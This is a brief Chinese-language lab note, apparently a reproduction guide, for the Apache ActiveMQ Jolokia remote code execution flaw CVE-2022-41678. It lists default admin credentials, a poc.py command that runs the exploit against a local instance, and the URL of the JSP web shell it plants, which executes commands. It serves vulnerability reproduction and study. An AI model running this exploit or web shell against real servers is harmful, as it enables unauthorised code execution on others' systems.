activemq-CVE-2022-41678

Apache ActiveMQ Jolokia 后台远程代码执行漏洞

Apache ActiveMQ在5.16.5,5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。

启动环境

admin/admin

方法一:利用poc

这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ

方法二:

python poc.py -u admin -p admin --exploit jfr http://localhost:8161

http://192.168.62.131:8161/admin/shelljfr.jsp?cmd=id

相关推荐
hkNaruto21 分钟前
【AI】AI学习笔记:A2A(智能体协作)入门指南:从概念到实践
人工智能·笔记·学习
暖暖木头25 分钟前
playwright学习笔记
笔记·学习
CCPC不拿奖不改名28 分钟前
python基础:python语言中的控制结构+面试习题
开发语言·python·学习
报错小能手2 小时前
线程池学习(七)实现定时(调度)线程池
学习
●VON3 小时前
从模型到价值:MLOps 工程体系全景解析
人工智能·学习·制造·von
好奇龙猫3 小时前
【人工智能学习-AI-MIT公开课第 18. 表示:分類、軌跡、過渡】
学习
hhcccchh4 小时前
学习vue第八天 Vue3 模板语法和内置指令 - 简单入门
前端·vue.js·学习
浩瀚地学4 小时前
【Java】异常
java·开发语言·经验分享·笔记·学习
Nan_Shu_6145 小时前
学习: Threejs (3)& Threejs (4)
学习
IT=>小脑虎6 小时前
2026版 Python零基础小白学习知识点【基础版详解】
开发语言·python·学习